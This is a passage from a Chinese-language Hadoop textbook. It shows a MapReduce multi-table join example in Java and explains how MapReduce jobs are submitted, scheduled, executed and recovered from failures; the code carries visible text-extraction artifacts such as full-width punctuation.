Path（otherArgs[0]））；\nFileOutputFormat.setOutputPath（job, new Path（otherArgs[1]））；\nSystem.exit（job.waitForCompletion（true）?0：1）；\n}\n}\n5.5 多表关联\n 5.5.1 实例描述\n多表关联和单表关联类似，它也是通过对原始数据进行一定的处理，从其中挖掘出关心的信息。下面进入这个实例。\n输入是两个文件，一个代表工厂表，包含工厂名列和地址编号列；另一个代表地址表，包含地址名列和地址编号列。要求从输入数据中找出工厂名和地址名的对应关系，输出工厂名-地址名表。\n样例输入：\nfactory：\nfactoryname addressed\nBeijing Red Star 1\nShenzhen Thunder 3\nGuangzhou Honda 2\nBeijing Rising 1\nGuangzhou Development Bank 2\nTencent 3\nBank of Beijing 1\naddress：\naddressID addressname\n1 Beijing\n2 Guangzhou\n3 Shenzhen\n4 Xian\n样例输出：\nfactoryname addressname\nBank of Beijing Beijing\nBeijing Red Star Beijing\nBeijing Rising Beijing\nGuangzhou Development Bank Guangzhou\nGuangzhou Honda Guangzhou\nShenzhen Thunder Shenzhen\nTencent Shenzhen\n5.5.2 设计思路\n多表关联和单表关联相似，都类似于数据库中的自然连接。相比单表关联，多表关联的左右表和连接列更加清楚，因此可以采用和单表关联相同的处理方式。Map识别出输入的行属于哪个表之后，对其进行分割，将连接的列值保存在key中，另一列和左右表标志保存在value中，然后输出。Reduce拿到连接结果后，解析value内容，根据标志将左右表内容分开存放，然后求笛卡儿积，最后直接输出。\n这个实例的具体分析参考单表关联实例，下面给出代码。\n5.5.3 程序代码\n程序代码如下：\npackage cn.edu.ruc.cloudcomputing.book.chapter05；\nimport java.io.IOException；\nimport java.util.*；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.io.IntWritable；\nimport org.apache.hadoop.io.Text；\nimport org.apache.hadoop.mapreduce.Job；\nimport org.apache.hadoop.mapreduce.Mapper；\nimport org.apache.hadoop.mapreduce.Reducer；\nimport org.apache.hadoop.mapreduce.lib.input.FileInputFormat；\nimport org.apache.hadoop.mapreduce.lib.output.FileOutputFormat；\nimport org.apache.hadoop.util.GenericOptionsParser；\npublic class MTjoin{\npublic static int time=0；\npublic static class Map extends Mapper＜Object, Text, Text, Text＞{\n//在Map中先区分输入行属于左表还是右表，然后对两列值进行分割，\n//连接列保存在key值，剩余列和左右表标志保存在value中，最后输出\npublic void map（Object key, Text value, Context context）throws\nIOException, InterruptedException{\nString line=value.toString（）；\nint i=0；\n//输入文件首行，不处理\nif（line.contains（\"factoryname\"）==true||line.contains（\"addressID\"）==true）{\nreturn；\n}\n//找出数据中的分割点\nwhile（line.charAt（i）＞='9'||line.charAt（i）＜='0'）{\ni++；\n}\nif（line.charAt（0）＞='9'||line.charAt（0）＜='0'）{\n//左表\nint j=i-1；\nwhile（line.charAt（j）！=''）j--；\nString[]values={line.substring（0，j），line.substring（i）}；\ncontext.write（new Text（values[1]），new Text（\"1+\"+values[0]））；\n}\nelse{//右表\nint j=i+1；\nwhile（line.charAt（j）！=''）j++；\nString[]values={line.substring（0，i+1），line.substring（j）}；\ncontext.write（new Text（values[0]），new Text（\"2+\"+values[1]））；\n}\n}\n}\npublic static class Reduce extends Reducer＜Text, Text, Text, Text＞{\n//Reduce解析Map输出，将value中数据按照左右表分别保存，然后求//笛卡儿积，输出\npublic void reduce（Text key, Iterable＜Text＞values, Context context）throws\nIOException, InterruptedException{\nif（time==0）{//输出文件第一行\ncontext.write（new Text（\"factoryname\"），new Text（\"addressname\"））；\ntime++；\n}\nint factorynum=0；\nString factory[]=new String[10]；\nint addressnum=0；\nString address[]=new String[10]；\nIterator ite=values.iterator（）；\nwhile（ite.hasNext（））\n{\nString record=ite.next（）.toString（）；\nint len=record.length（）；\nint i=2；\nchar type=record.charAt（0）；\nString factoryname=new String（）；\nString addressname=new String（）；\nif（type=='1'）{//左表\nfactory[factorynum]=record.substring（2）；\nfactorynum++；\n}\nelse{//右表\naddress[addressnum]=record.substring（2）；\naddressnum++；\n}\n}\nif（factorynum！=0＆＆addressnum！=0）{//求笛卡儿积\nfor（int m=0；m＜factorynum；m++）{\nfor（int n=0；n＜addressnum；n++）{\nc o n t e x t.w r i t e（n e w T e x t（f a c t o r y[m]），n e w\nText（address[n]））；\n}\n}\n}\n}\n}\npublic static void main（String[]args）throws Exception{\nConfiguration conf=new Configuration（）；\nString[]otherArgs=new GenericOptionsParser（conf, args）.getRemainingArgs（）；\nif（otherArgs.length！=2）{\nSystem.err.println（\"Usage：wordcount＜in＞＜out＞\"）；\nSystem.exit（2）；\n}\nJob job=new Job（conf，\"multiple table join\"）；\njob.setJarByClass（MTjoin.class）；\njob.setMapperClass（Map.class）；\njob.setReducerClass（Reduce.class）；\njob.setOutputKeyClass（Text.class）；\njob.setOutputValueClass（Text.class）；\nFileInputFormat.addInputPath（job, new Path（otherArgs[0]））；\nFileOutputFormat.setOutputPath（job, new Path（otherArgs[1]））；\nSystem.exit（job.waitForCompletion（true）?0：1）；\n}\n}\n5.6 本章小结\n本章通过五个实例向读者呈现了如何使用MapReduce程序解决实际问题，其中第一个WordCount实例是MapReduce的入门程序，它能统计出数据文件中单词的频数；实例二数据去重和实例三数据排序，都是对原始数据的初步操作，为进一步进行数据分析打下基础；实例四单表关联和实例五多表关联是对数据的进一步操作，从中挖掘有用的信息。虽然五个实例相对简单普通，但是都能利用Hadoop平台对大数据集进行并行处理，展示了MapReduce编程框架的魅力所在。\n第6章 MapReduce工作机制\n本章内容\nMapReduce作业的执行流程\n错误处理机制\n作业调度机制\nShuffle和排序\n任务执行\n本章小结\n关于MapReduce的准备知识和应用案例在本书前面章节中已经做了详细介绍，本章将从MapReduce作业的执行情况、作业运行过程中的错误机制、作业的调度策略、shuffle和排序、任务的执行等几个方面详细讲解MapReduce，让大家更加深入地了解MapReduce的运行机制，为深入学习使用Hadoop和Hadoop子项目打下基础。\n6.1 MapReduce作业的执行流程\n从第5章的MapReduce编程实例中可以看出，只要在mian（）函数中调用Job的启动接口，然后将程序提交到Hadoop上，MapReduce作业就可以Hadoop上运行。另外，在前面的章节中也从Task运行角度介绍了Map和Reduce的过程。但是从运行“Hadoop JAR”到看到作业运行结果，这中间实际上还涉及很多其他细节。那么Hadoop运行MapReduce作业的完整步骤是什么呢？每一步又是如何具体实现的呢？本节将详细介绍。\n 6.1.1 MapReduce任务执行总流程\n通过前面的知识我们知道，一个MapReduce作业的执行流程是：代码编写→作业配置→作业提交→Map任务的分配和执行→处理中间结果→Reduce任务的分配和执行→作业完成，而在每个任务的执行过程中，又包含输入准备→任务执行→输出结果。图6-1给出了MapReduce作业详细的执行流程图。\n图 6-1 MapReduce作业执行的流程图\n从图6-1中可以看出，MapReduce作业的执行可以分为11个步骤，涉及4个独立的实体。它们在MapReduce执行过程中的主要作用是：\n客户端（Client）：编写MapReduce代码，配置作业，提交作业；\nJobTracker：初始化作业，分配作业，与TaskTracker通信，协调整个作业的执行；\nTaskTracker：保持与JobTracker的通信，在分配的数据片段上执行Map或Reduce任务，需要注意的是，图6-1中TaskTracker节点后的省略号表示Hadoop集群中可以包含多个TaskTracker；\nHDFS：保存作业的数据、配置信息等，保存作业结果。\n下面按照图6-1中MapReduce作业的执行流程结合代码详细介绍各个步骤。\n6.1.2 提交作业\n一个MapReduce作业在提交到Hadoop上之后，会进入完全地自动化执行过程。在这个过程中，用户除了监控程序的执行情况和强制中止作业之外，不能对作业的执行过程进行任何干预。所以在作业提交之前，用户需要将所有应该配置的参数按照自己的需求配置完毕。需要配置的主要内容有：\n程序代码：这里主要是指Map和Reduce函数的具体代码，这是一个MapReduce作业对应的程序必不可少的部分，并且这部分代码的逻辑正确与否与运行结果直接相关。\nMap和Reduce接口的配置：在MapReduce中，Map接口需要派生自Mapper＜k1，v1，k2，v2＞接口，Reduce接口则要派生自Reducer＜k2，v2，k3，v3＞。它们都对应唯一一个方法，分别是Map函数和Reduce函数，也就是在上一点中所写的代码。在调用这两个方法时需要配置它们的四个参数，分别是输入key的数据类型、输入value的数据类型、输出key-value对的数据类型和context实例，其中输入输出的数据类型要与继承时所设置的数据类型相同。还有一个要求是Map接口的输出key-value类型和Reduce接口的输入key-value类型要对应，因为Map输出组合value之后，它们会成为Reduce的输入内容（初学者请特别注意，很多初学者编写的MapReduce程序中会忽视这个问题）。\n输入输出路径：作业提交之前，还需要在主函数中配置MapReduce作业在Hadoop集群上的输入路径和输出路径（必须保证输出路径不存在，如果存在程序会报错，这也是初学者经常忽视的错误）。具体的代码是：\nFileInputFormat.addInputPath（job, new Path（otherArgs[0]））；\nFileOutputFormat.setOutputPath（job, new Path（otherArgs[1]））；\n其他类型设置，比如调用runJob方法：先要在主函数中配置如Output的key和value类型、作业名称、InputFormat和OutputFormat等，最后再调用JobClient的runJob方法。\n配置完作业的所有内容并确认无误之后就可以运行作业了，也就是执行图6-1中的步骤①（具体提交方法不再赘述，请参考本书的第5章）。\n用户程序调用JobClient的runJob方法，在提交JobConf对象之后，runJob方法会先行调用JobSubmissionProtocol接口所定义的submitJob方法，并将作业提交给JobTracker。紧接着，runJob不断循环，并在循环中调用JobSubmissionProtocol的getTaskCompletionEvents方法，获取TaskCompletionEvent类的对象实例，了解作业的实时执行情况。如果发现作业运行状态有更新，就将状态报告给JobTracker。作业完成后，如果成功则显示作业计数器，否则，将导致作业失败的错误记录到控制台。\n从上面介绍的作业提交的过程可以看出，最关键的是JobClient对象中submitJobInternal（final JobConf job）方法的调用执行（submitJob（）方法调用此方法真正执行Job），那么submitJobInternal方法具体是怎么做的？下面从submitJobInternal的代码出发介绍作业提交的详细过程（只列举关键代码）。\npublic RunningJob submitJob（JobConf job）throws FileNotFoundException，\nClassNotFoundException, InvalidJobConfException, IOException{\n……\n//从JobTracker得到当前任务的ID\nJobID jobId=jobSubmitClient.getNewJobId（）；\n//获取HDFS路径：\nPath submitJobDir=new Path（jobStagingArea, jobId.toString（））；\njobCopy.set（\"mapreduce.job.dir\"，submitJobDir.toString（））；\n//获取路径令牌\nTokenCache.obtainTokensForNameNodes（jobCopy.getCredentials（），new Path[]\n{submitJobDir}，jobCopy）；\n//为作业生成splits\nFileSystem fs=submitJobDir.getFileSystem（jobCopy）；\nLOG.debug（\"Creating splits at\"+fs.makeQualified（submitJobDir））；\nint maps=writeSplits（context, submitJobDir）；\njobCopy.setNumMapTasks（maps）；\n//将Job的配置信息写入JobTracker的作业缓存文件中\nFSDataOutputStream out=FileSystem.create（fs, submitSplitFile, new\nFsPermission（JobSubmissionFiles.JOB_FILE_PERMISSION））；\ntry{\njobCopy.writeXml（out）；\n}finally{\nout.close（）；\n}\n//真正地调用JobTracker来提交任务\nJobStatus status=jobSubmitClient.submitJob（jobId, submitJobDir.toString（），\njobCopy.getCredentials（））；\n……\n}\n从上面的代码可以看出，整个提交过程包含以下步骤：\n1）通过调用JobTracker对象的getNewJobId（）方法从JobTracker处获取当前作业的ID号（见图6-1中的步骤②）。\n2）检查作业相关路径。在代码中获取各个路径信息时会对作业的对应路径进行检查。比如，如果没有指定输出目录或它已经存在，作业就不会被提交，并且会给MapReduce程序返回错误信息；再比如输入目录不存在或没有对应令牌也会返回错误等。\n3）计算作业的输入划分，并将划分信息写入Job.split文件，如果写入失败就会返回错误。split文件的信息主要包括：split文件头、split文件版本号、split的个数。这些信息中每一条都会包括以下内容：split类型名（默认FileSplit）、split的大小、split的内容（对于FileSplit来说是写入的文件名，此split在文件中的起始位置上）、split的location信息（即在哪个DataNode上）。\n4）将运行作业所需要的资源—包括作业JAR文件、配置文件和计算所得的输入划分等—复制到作业对应的HDFS上（见图6-1的步骤③）。\n5）调用JobTracker对象的submitJob（）方法来真正提交作业，告诉JobTracker作业准备执行（见图6-1的步骤④）。\n6.1.3 初始化作业\n在客户端用户作业调用JobTracker对象的submitJob（）方法后，JobTracker会把此调用放入内部的TaskScheduler变量中，然后进行调度，默认的调度方法是JobQueueTaskScheduler，也就是FIFO调度方式。当客户作业被调度执行时，JobTracker会创建一个代表这个作业的JobInProgress对象，并将任务和记录信息封装到这个对象中，以便跟踪任务的状态和进程。接下来JobInProgress对象的initTasks函数会对任务进行初始化操作（见图6-1的步骤⑤）。下面仍然从initTasks函数的代码出发详细讲解初始化过程。\npublic synchronized void initTasks（）throws IOException{\n……\n//从HDFS中作业对应的路径读取job.split文件，生成input\n//splits为下面Map的划分做好准备\nTaskSplitMetaInfo[]splits=createSplits（jobId）；\n//根据input split设置Map Task个数\nnumMapTasks=splits.length；\nfor（TaskSplitMetaInfo split：splits）{\nNetUtils.verifyHostnames（split.getLocations（））；}\n//为每个Map Tasks生成一个TaskInProgress来处理一个input split\nmaps=new TaskInProgress[numMapTasks]；\nfor（int i=0；i＜numMapTasks；++i）{\ninputLength+=splits[i].getInputDataLength（）；\nmaps[i]=new TaskInProgress（jobId, jobFile, splits[i]，jobtracker, conf，\nthis, i，numSlotsPerMap）；}\nif（numMapTasks＞0）{\n//map task放入nonRunningMapCache，其将在JobTracker向\n//TaskTracker分配Map Task的时候使用\nnonRunningMapCache=createCache（splits, maxLevel）；\n}\n//创建Reduce Task\nthis.reduces=new TaskInProgress[numReduceTasks]；\nfor（int i=0；i＜numReduceTasks；i++）{\nreduces[i]=new TaskInProgress（jobId, jobFile, numMapTasks, i，jobtracker，\nconf, this, numSlotsPerReduce）；\n//Reduce Task放入nonRunningReduces，其将在JobTracker向\n//TaskTracker分配Reduce Task的时候使用\nnonRunningReduces.add（reduces[i]）；\n}\n//清理Map和Reduce\ncleanup=new TaskInProgress[2]；\nTaskSplitMetaInfo emptySplit=JobSplit.EMPTY_TASK_SPLIT；\ncleanup[0]=new TaskInProgress（jobId, jobFile, emptySplit, jobtracker, conf，\nthis, numMapTasks）；\ncleanup[0].setJobCleanupTask（）；\ncleanup[1]=new TaskInProgress（jobId, jobFile, numMapTasks, numReduceTasks，\njobtracker, conf, this，1）；\ncleanup[1].setJobCleanupTask（）；\n//创建两个初始化Task，一个初始化Map，一个初始化Reduce\nsetup=new TaskInProgress[2]；\nsetup[0]=new TaskInProgress（jobId, jobFile, emptySplit, jobtracker, conf，\nthis, numMapTasks+1，1）；\nsetup[0].setJobSetupTask（）；\nsetup[1]=new TaskInProgress（jobId, jobFile, numMapTasks, numReduceTasks+1，\njobtracker, conf, this，1）；\nsetup[1].setJobSetupTask（）；\ntasksInited=true；//初始化完毕\n……\n}\n从上面的代码可以看出初始化过程主要有以下步骤：\n1）从HDFS中读取作业对应的job.split（见图6-1的步骤⑥）。JobTracker从HDFS中作业对应的路径获取JobClient在步骤③中写入的job.split文件，得到输入数据的划分信息，为后面初始化过程中Map任务的分配做好准备。\n2）创建并初始化Map任务和Reduce任务。initTasks先根据输入数据划分信息中的个数设定Map Task的个数，然后为每个Map Task生成一个TaskInProgress来处理input split，并将Map Task放入nonRunningMapCache，以便在JobTracker向TaskTracker分配Map Task的时候使用。接下来根据JobConf中的mapred.reduce.tasks属性利用setNumReduceTasks（）方法来设置reduce task的个数，然后采用类似Map Task的方式将Reduce Task放入nonRunningReduces中，以便向TaskTracker分配Reduce Task时使用。\n3）最后就是创建两个初始化Task，根据个数和输入划分已经配置的信息，并分别初始化Map和Reduce。\n6.1.4 分配任务\n在前面的介绍中我们已经知道，TaskTracker和JobTracker之间的通信和任务的分配是通过心跳机制完成的。TaskTracker作为一个单独的JVM执行一个简单的循环，主要实现每隔一段时间向JobTracker发送心跳（Heartbeat）：告诉JobTracker此TaskTracker是否存活，是否准备执行新的任务。JobTracker接收到心跳信息，如果有待分配任务，它就会为TaskTracker分配一个任务，并将分配信息封装在心跳通信的返回值中返回给TaskTracker。TaskTracker从心跳方法的Response中得知此TaskTracker需要做的事情，如果是一个新的Task则将它加入本机的任务队列中（见图6-1的步骤⑦）。\n下面从TaskTracker中的transmitHeartBeat（）方法和JobTracker中的heartbeat（）方法的主要代码出发，介绍任务分配的详细过程，以及在此过程中TaskTracker和JobTracker的通信。\nTaskTracker中transmitHeartBeat（）方法的主要代码：\n//向JobTracker报告TaskTracker的当前状态\nif（status==null）{\nsynchronized（this）{\nstatus=new TaskTrackerStatus（taskTrackerName, localHostname, httpPort, cloneAndRe\nsetRunningTaskStatuses（sendCounters），failures, maxMapSlots, maxReduceSlots）；\n}\n}\n……\n//根据条件是否满足来确定此TaskTracker是否请求JobTracker\n//为其分配新的Task\nboolean askForNewTask；\nlong localMinSpaceStart；\nsynchronized（this）{\naskForNewTask=（status.countMapTasks（）＜maxCurrentMapTasks||\nstatus.countReduceTasks（）＜maxCurrentReduceTasks）＆＆acceptNewTasks；\nlocalMinSpaceStart=minSpaceStart；\n}\n……\n//向JobTracker发送heartbeat\nHeartbeatResponse heartbeatResponse=jobClient.heartbeat（status, justStarted，\njustInited, askForNewTask, heartbeatResponseId）；\n……\nJobTracker中heartbeat（）方法的主要代码：\n……\nString trackerName=status.getTrackerName（）；\n……\n//如果TaskTracker向JobTracker请求一个Task运行\nif（recoveryManager.shouldSchedule（）＆＆acceptNewTasks＆＆！isBlacklisted）{\nTaskTrackerStatus taskTrackerStatus=getTaskTracker（trackerName）；\nif（taskTrackerStatus==null）{\nLOG.warn（\"Unknown task tracker polling；ignoring：\"+trackerName）；\n}else{\nList＜Task＞tasks=getSetupAndCleanupTasks（taskTrackerStatus）；\nif（tasks==null）{\n//任务调度器分配任务\ntasks=taskScheduler.assignTasks（taskTrackers.get（trackerName））；\n}\nif（tasks！=null）{\nfor（Task task：tasks）{\n//将任务返回给TaskTracker\nexpireLaunchingTasks.addNewTask（task.getTaskID（））；\nactions.add（new LaunchTaskAction（task））；\n}}}}……\n上面两段代码展示了TaskTracker和JobTracker之间通过心跳通信汇报状态与分配任务的详细过程。TaskTracker首先发送自己的状态（主要是Map任务和Reduce任务的个数是否小于上限），并根据自身条件选择是否向JobTracker请求新的Task，最后发送心跳。JobTracker接收到TaskTracker的心跳后首先分析心跳信息，如果发现TaskTracker在请求一个Task，那么任务调度器就会将任务和任务信息封装起来返回给TaskTracker。\n针对Map任务和Reduce任务，TaskTracker有固定数量的任务槽（Map任务和Reduce任务的个数都有上限）。当TaskTracker从JobTracker返回的心跳信息中获取新的任务信息时，它会将Map任务或者Reduce任务加入对应的任务槽中。需要注意的是，在JobTracker为TaskTracker分配Map任务时，为了减小网络带宽，会考虑将map任务数据本地化。它会根据TaskTracker的网络位置，选取一个距离此TaskTracker map任务最近的输入划分文件分配给此TaskTracker。最好的情况是，划分文件就在TaskTracker本地（TaskTracker往往是运行在HDFS的DataNode中，所以这种情况是存在的）。\n6.1.5 执行任务\nTaskTracker申请到新的任务之后，就要在本地运行任务了。运行任务的第一步是将任务本地化（将任务运行所必需的数据、配置信息、程序代码从HDFS复制到TaskTracker本地，见图6-1的步骤⑧）。这主要是通过调用localizeJob（）方法来完成的（此方法的具体代码并不复杂，不再列出）。这个方法主要通过下面几个步骤来完成任务的本地化：\n1）将job.split复制到本地；\n2）将job.jar复制到本地；\n3）将job的配置信息写入job.xml；\n4）创建本地任务目录，解压job.jar；\n5）调用launchTaskForJob（）方法发布任务（见图6-1的步骤⑨）。\n任务本地化之后，就可以通过调用launchTaskForJob（）真正启动起来。接下来launchTaskForJob（）又会调用launchTask（）方法启动任务。launchTask（）方法的主要代码如下：\n……\n//创建Task本地运行目录\nlocalizeTask（task）；\nif（this.taskStatus.getRunState（）==TaskStatus.State.UNASSIGNED）{\nthis.taskStatus.setRunState（TaskStatus.State.RUNNING）；\n}\n//创建并启动TaskRunner\nthis.runner=task.createRunner（TaskTracker.this, this）；\nthis.runner.start（）；\nthis.taskStatus.setStartTime（System.currentTimeMillis（））；\n……\n从代码中可以看出launchTask（）方法会先为任务创建本地目录，然后启动TaskRunner。在启动TaskRunner后，对于Map任务，会启动MapTaskRunner；对于Reduce任务则启动ReduceTaskRunner。\n之后，TaskRunner又会启动新的Java虚拟机来运行每个任务（见图6-1的步骤⑩）。以Map任务为例，任务执行的简单流程是：\n1）配置任务执行参数（获取Java程序的执行环境和配置参数等）；\n2）在Child临时文件表中添加Map任务信息（运行Map和Reduce任务的主进程是Child类）；\n3）配置log文件夹，然后配置Map任务的通信和输出参数；\n4）读取input split，生成RecordReader读取数据；\n5）为Map任务生成MapRunnable，依次从RecordReader中接收数据，并调用Mapper的Map函数进行处理；\n6）最后将Map函数的输出调用collect收集到MapOutputBuffer中（见图6-1的步骤11）。\n6.1.6 更新任务执行进度和状态\n在本章的作业提交过程中我们曾介绍：一个MapReduce作业在提交到Hadoop上之后，会进入完全地自动化执行过程，用户只能监控程序的执行状态和强制中止作业。但是MapReduce作业是一个长时间运行的批量作业，有时候可能需要运行数小时。所以对于用户而言，能够得知作业的运行状态是非常重要的。在Linux终端运行MapReduce作业时，可以看到在作业执行过程中有一些简单的作业执行状态报告，这能让用户大致了解作业的运行情况，并通过与预期运行情况的对比来确定作业是否按照预定方式运行。\n在MapReduce作业中，作业的进度主要由一些可衡量可计数的小操作组成。比如在Map任务中，其任务进度就是已处理输入的百分比，如果完成100条记录中的50条，那么Map任务的进度就是50%（这里只是针对一个Map任务举例，并不是在Linux终端中执行MapReduce任务时出现的Map 50%，在终端中出现的50%是总体Map任务的进度，这是将所有Map任务的进度组合起来的结果）。总体来讲，MapReduce作业的进度由下面几项组成：Mapper（或Reducer）读入或写出一条记录，在报告中设置状态描述，增加计数器，调用Reporter对象的progess（）方法。\n由MapReduce作业分割成的每个任务中都有一组计数器，它们对任务执行过程中的进度组成事件进行计数。如果任务要报告进度，它便会设置一个标志以表明状态变化将会发送到TaskTracker上。另一个监听线程检查到这标志后，会告知TaskTracker当前的任务状态。具体代码如下（这是Map Task中run函数的部分代码）：\n//同TaskTracker通信，汇报任务执行进度\nTaskReporter reporter=new TaskReporter（getProgress（），umbilical, jvmContext）；\nstartCommunicationThread（umbilical）；\ninitialize（job, getJobID（），reporter, useNewApi）；\n同时，TaskTracker在每隔5秒发送给JobTracker的心跳中封装任务状态，报告自己的任务执行状态。具体代码如下（这是TaskTracker中transmitHeartBeat（）方法的部分代码）：\n//每隔一段时间，向JobTracker返回一些统计信息\nboolean sendCounters；\nif（now＞（previousUpdate+COUNTER_UPDATE_INTERVAL））{\nsendCounters=true；previousUpdate=now；\n}\nelse{\nsendCounters=false；\n}\n通过心跳通信机制，所有TaskTracker的统计信息都会汇总到JobTracker处。JobTracker将这些统计信息合并起来，产生一个全局作业进度统计信息，用来表明正在运行的所有作业，以及其中所含任务的状态。最后，JobClient通过每秒查看JobTracker来接收作业进度的最新状态。具体代码如下（这是JobClient中用来提交作业的runJob（）方法的部分代码）：\n//首先生成一个JobClient对象\nJobClient jc=new JobClient（job）；\n//调用submitJob来提交一个任务\nrunning=jc.submitJob（job）；\n……\n//使用monitorAndPrintJob方法不断监控作业进度\nif（！jc.monitorAndPrintJob（job, rj））{\nLOG.info（\"Job Failed：\"+rj.getFailureInfo（））；\nthrow new IOException（\"Job failed！\"）；\n}\n6.1.7 完成作业\n所有TaskTracker任务的执行进度信息都会汇总到JobTracker处，当JobTracker接收到最后一个任务的已完成通知后，便把作业的状态设置为“成功”。然后，JobClient也将及时得知任务已成功完成，它会显示一条信息告知用户作业已完成，最后从runJob（）方法处返回（在返回后JobTracker会清空作业的工作状态，并指示TaskTracker也清空作业的工作状态，比如删除中间输出等）。\n6.2 错误处理机制\n众所周知，Hadoop有很强的容错性。这主要是针对由成千上万台普通机器组成的集群中常态化的硬件故障，Hadoop能够利用冗余数据方式来解决硬件故障，以保证数据安全和任务执行。那么MapReduce在具体执行作业过程中遇到硬件故障会如何处理呢？对于用户代码的缺陷或进程崩溃引起的错误又会如何处理呢？本节将从硬件故障和任务失败两个方面说明MapReduce的错误处理机制。\n 6.2.1 硬件故障\n从MapReduce任务的执行角度出发，所涉及的硬件主要是JobTracker和TaskTracker（对应从HDFS出发就是NameNode和DataNode）。显然硬件故障就是JobTracker机器故障和TaskTracker机器故障。\n在Hadoop集群中，任何时候都只有唯一一个JobTracker。所以JobTracker故障就是单点故障，这是所有错误中最严重的。到目前为止，在Hadoop中还没有相应的解决办法。能够想到的是通过创建多个备用JobTracker节点，在主JobTracker失败之后采用领导选举算法（Hadoop中常用的一种确定Master的算法）来重新确定JobTracker节点。一些企业使用Hadoop提供服务时，就采用了这样的方法来避免JobTracker错误。\n机器故障除了JobTracker错误就是TaskTracker错误。TaskTracker故障相对较为常见，并且MapReduce也有相应的解决办法，主要是重新执行任务。下面将详细介绍当作业遇到TaskTracker错误时，MapReduce所采取的解决步骤。\n在Hadoop中，正常情况下，TaskTracker会不断地与系统JobTracker通过心跳机制进行通信。如果某TaskTracker出现故障或运行缓慢，它会停止或者很少向JobTracker发送心跳。如果一个TaskTracker在一定时间内（默认是1分钟）没有与JobTracker通信，那么JobTracker会将此TaskTracker从等待任务调度的TaskTracker集合中移除。同时JobTracker会要求此TaskTracker上的任务立刻返回，如果此TaskTracker任务是仍然在mapping阶段的Map任务，那么JobTracker会要求其他的TaskTracker重新执行所有原本由故障TaskTracker执行的Map任务。如果任务是在Reduce阶段的Reduce任务，那么JobTracker会要求其他TashTracker重新执行故障TaskTracker未完成的Reduce任务。比如，一个TaskTracker已经完成被分配的三个Reduce任务中的两个，因为Reduce任务一旦完成就会将数据写到HDFS上，所以只有第三个未完成的Reduce需要重新执行。但是对于Map任务来说，即使TashTracker完成了部分Map, Reduce仍可能无法获取此节点上所有Map的所有输出。所以无论Map任务完成与否，故障TashTracker上的Map任务都必须重新执行。\n6.2.2 任务失败\n在实际任务中，MapReduce作业还会遇到用户代码缺陷或进程崩溃引起的任务失败等情况。用户代码缺陷会导致它在执行过程中抛出异常。此时，任务JVM进程会自动退出，并向TashTracker父进程发送错误消息，同时错误消息也会写入log文件，最后TasKTracker将此次任务尝试标记失败。对于进程崩溃引起的任务失败，TashTracker的监听程序会发现进程退出，此时TaskTracker也会将此次任务尝试标记为失败。对于死循环程序或执行时间太长的程序，由于TashTracker没有接收到进度更新，它也会将此次任务尝试标记为失败，并杀死程序对应的进程。\n在以上情况中，TaskTracker将任务尝试标记为失败之后会将TaskTracker自身的任务计数器减1，以便向JobTracker申请新的任务。TaskTracker也会通过心跳机制告诉JobTracker本地的一个任务尝试失败。JobTracker接到任务失败的通知后，通过重置任务状态，将其加入到调度队列来重新分配该任务执行（JobTracker会尝试避免将失败的任务再次分配给运行失败的TaskTracker）。如果此任务尝试了4次（次数可以进行设置）仍没有完成，就不会再被重试，此时整个作业也就失败了。\n6.3 作业调度机制\n在0.19.0版本之前，Hadoop集群上的用户作业采用先进先出（FIFO, First Input First Output）调度算法，即按照作业提交的顺序来运行。同时每个作业都会使用整个集群，因此它们只有轮到自己运行才能享受整个集群的服务。虽然FIFO调度器最后又支持了设置优先级的功能，但是由于不支持优先级抢占，所以这种单用户的调度算法仍然不符合云计算中采用并行计算来提供服务的宗旨。从0.19.0版本开始，Hadoop除了默认的FIFO调度器外，还提供了支持多用户同时服务和集群资源公平共享的调度器，即公平调度器（Fair Scheduler Guide）和容量调度器（Capacity Scheduler Guide）。下面主要介绍公平调度器。\n公平调度是为作业分配资源的方法，其目的是随着时间的推移，让提交的作业获取等量的集群共享资源，让用户公平地共享集群。具体做法是：当集群上只有一个作业在运行时，它将使用整个集群；当有其他作业提交时，系统会将TaskTracker节点空闲时间片分配给这些新的作业，并保证每一个作业都得到大概等量的CPU时间。\n公平调度器按作业池来组织作业，它会按照提交作业的用户数目将资源公平地分到这些作业池里。默认情况下，每一个用户拥有一个独立的作业池，以使每个用户都能获得一份等同的集群资源而不会管它们提交了多少作业。在每一个资源池内，会用公平共享的方法在运行作业之间共享容量。除了提供公平共享方法外，公平调度器还允许为作业池设置最小的共享资源，以确保特定用户、群组或生产应用程序总能获取到足够的资源。对于设置了最小共享资源的作业池来说，如果包含了作业，它至少能获取到最小的共享资源。但是如果最小共享资源超过作业需要的资源时，额外的资源会在其他作业池间进行切分。\n在常规操作中，当提交一个新作业时，公平调度器会等待已运行作业中的任务完成，以释放时间片给新的作业。但公平调度器也支持作业抢占。如果新的作业在一定时间（即超时时间，可以配置）内还未获取公平的资源分配，公平调度器就会允许这个作业抢占已运行作业中的任务，以获取运行所需要的资源。另外，如果作业在超时时间内获取的资源不到公平共享资源的一半时，也允许对任务进行抢占。而在选择时，公平调度器会在所有运行任务中选择最近运行起来的任务，这样浪费的计算相对较少。由于Hadoop作业能容忍丢失任务，抢占不会导致被抢占的作业失败，只是让被抢占作业的运行时间更长。\n最后，公平调度器还可以限制每个用户和每个作业池并发运行的作业数量。这个限制可以在用户一次性提交数百个作业或当大量作业并发执行时用来确保中间数据不会塞满集群上的磁盘空间。超出限制的作业会被列入调度器的队列中进行等待，直到早期作业运行完毕。公平调度器再根据作业优先权和提交时间的排列情况从等待作业中调度即将运行的作业。\n6.4 Shuffle和排序\n从前面的介绍中我们得知，Map的输出会经过一个名为shuffle的过程交给Reduce处理（在“MapReduce数据流”图中也可以看出），当然也有Map的结果经过sort-merge交给Reduce处理的。其实在MapReduce流程中，为了让Reduce可以并行处理Map结果，必须对Map的输出进行一定的排序和分割，然后再交给对应的Reduce，而这个将Map输出进行进一步整理并交给Reduce的过程就成为了shuffle。从shuffle的过程可以看出，它是MapReduce的核心所在，shuffle过程的性能与整个MapReduce的性能直接相关。\n总体来说，shuffle过程包含在Map和Reduce两端中。在Map端的shuffle过程是对Map的结果进行划分（partition）、排序（sort）和分割（spill），然后将属于同一个划分的输出合并在一起（merge）并写在磁盘上，同时按照不同的划分将结果发送给对应的Reduce（Map输出的划分与Reduce的对应关系由JobTracker确定）。Reduce端又会将各个Map送来的属于同一个划分的输出进行合并（merge），然后对merge的结果进行排序，最后交给Reduce处理。下面将从Map和Reduce两端详细介绍shuffle过程。\n 6.4.1 